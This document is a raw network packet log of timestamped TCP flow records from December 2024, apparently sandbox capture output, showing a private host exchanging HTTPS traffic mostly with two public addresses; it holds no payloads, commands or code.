Dec 9, 2024 18:41:44.238651991 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.238712072 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.246304989 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.246381998 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.250411034 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.250484943 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.366626024 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.366828918 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.370203018 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.370280027 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.373348951 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.373415947 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.373424053 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.373521090 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.373522043 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.373575926 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.376161098 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:44.376203060 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:44.376283884 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:44.376493931 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:44.376507998 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:44.431689024 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:44.520128012 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.520176888 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.520283937 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.520504951 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.520513058 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:45.602828026 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:45.603171110 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:45.603209019 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:45.603574991 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:45.603936911 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:45.604017973 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:45.604145050 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:45.647331953 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:45.734292030 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:45.734664917 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:45.734694004 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:45.735075951 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:45.735491991 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:45.735569000 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:45.735642910 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:45.735697985 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:45.735718012 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.047447920 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.048177004 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.048228979 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.048233986 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.048273087 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.048312902 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.049015045 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.049993038 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.050045967 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.050055027 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.056232929 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.056278944 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.056291103 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.072964907 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.073026896 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.073046923 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.120574951 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.168133974 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.216538906 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.216579914 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.233023882 CET	49675	443	192.168.2.17	204.79.197.203
Dec 9, 2024 18:41:46.243364096 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.243442059 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.243475914 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.251374006 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.252054930 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.252085924 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.252118111 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.252155066 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.252197981 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.253000021 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.254024982 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.254044056 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.254081011 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.254105091 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.254108906 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.254120111 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.260091066 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.260147095 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.260179043 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.261077881 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.261128902 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.261141062 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.269139051 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.269202948 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.269220114 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.276274920 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.276349068 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.276391029 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.277252913 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.277306080 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.277319908 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.285717010 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.285779953 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.285789013 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.293555975 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.293612003 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.293627024 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.301578999 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.301650047 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.301676989 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.309686899 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.309747934 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.309775114 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.322444916 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.322561979 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.322585106 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.328557968 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.328965902 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.329020023 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.329031944 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.371792078 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.376169920 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.423541069 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.423582077 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.432455063 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.436319113 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.436398983 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.436430931 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.440819025 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.440881014 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.440891027 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.453560114 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.453624010 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.453648090 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.460298061 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.460372925 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.460386992 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.460438967 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.460772038 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.460828066 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.460844994 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.468681097 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.468750954 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.468771935 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.473290920 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.473304987 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.473380089 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.473390102 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.473440886 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.476641893 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.476716042 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.476725101 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.484678984 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.484745026 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.484766006 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.486526012 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.486536026 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.486594915 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.493664026 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.493725061 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.493732929 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.499058008 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.499067068 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.499128103 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.500940084 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.500996113 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.501003981 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.508924961 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.508984089 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.508992910 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.509571075 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.509632111 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.515170097 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.515239000 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.516963005 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.517029047 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.517049074 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.525733948 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.525805950 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.530217886 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.530281067 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.530289888 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.536382914 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.536470890 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.537030935 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.537086010 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.537095070 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.543394089 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.543462992 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.543473005 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.546531916 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.546613932 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.551799059 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.551865101 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.562525988 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.562617064 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.567872047 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.567955017 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.583528996 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.583538055 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.628216982 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.628307104 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.630506039 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.632730007 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.632805109 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.632829905 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.632865906 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.632896900 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.632908106 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.632914066 CET	443	49744	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.632936954 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.632936954 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.632952929 CET	49744	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.649462938 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.652641058 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.652688026 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.652719021 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.657552958 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.657607079 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.657624960 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.673284054 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.673300982 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.673383951 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.673445940 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.673481941 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.678925991 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.678985119 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.678996086 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.679034948 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.684231043 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.695429087 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.695532084 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.695544004 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.695590973 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.700450897 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.700464010 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.700510979 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.710316896 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.710325956 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.710391045 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.719768047 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.719777107 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.719845057 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.729545116 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.729626894 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.734715939 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.734776974 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.744098902 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.744172096 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.749253988 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.749332905 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.759192944 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.759267092 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.768584013 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.768675089 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.841775894 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.841865063 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.849374056 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.849450111 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.853641033 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.853707075 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.861716032 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.861793041 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.869105101 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.869174004 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.872850895 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.872910976 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.879578114 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.879642010 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.886214972 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.886280060 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.889400959 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.889484882 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.895755053 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.895854950 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.899029970 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.899100065 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.899113894 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.899130106 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.899199009 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.899208069 CET	443	49745	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:46.899230957 CET	49745	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:46.905239105 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.905292988 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:46.905361891 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.905673027 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:46.905687094 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:47.099330902 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:47.099389076 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:47.099503994 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:47.099723101 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:47.099733114 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.120191097 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.120513916 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.120573044 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.120920897 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.121262074 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.121342897 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.121408939 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.167350054 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.311574936 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.311877012 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:48.311908007 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.312256098 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.312566042 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:48.312638044 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.312694073 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:48.359332085 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.581180096 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.581260920 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.581362963 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.581830025 CET	49746	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.581862926 CET	443	49746	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.768678904 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.768759012 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.768845081 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:48.769481897 CET	49747	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:48.769509077 CET	443	49747	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:48.771958113 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.772006035 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:48.772108078 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.772310972 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:48.772320986 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:49.038198948 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:49.038265944 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:49.038357019 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:49.038661003 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:49.038676977 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:49.243590117 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:49.992717981 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:49.993042946 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:49.993060112 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:49.993432045 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:49.993715048 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:49.993772984 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:49.993860960 CET	49748	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:50.039335966 CET	443	49748	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:50.249098063 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.249434948 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.249455929 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.249912977 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.250431061 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.250529051 CET	443	49749	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:50.250613928 CET	49749	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:50.295340061 CET	443	49749	104.18.94.41	192.168.2.17
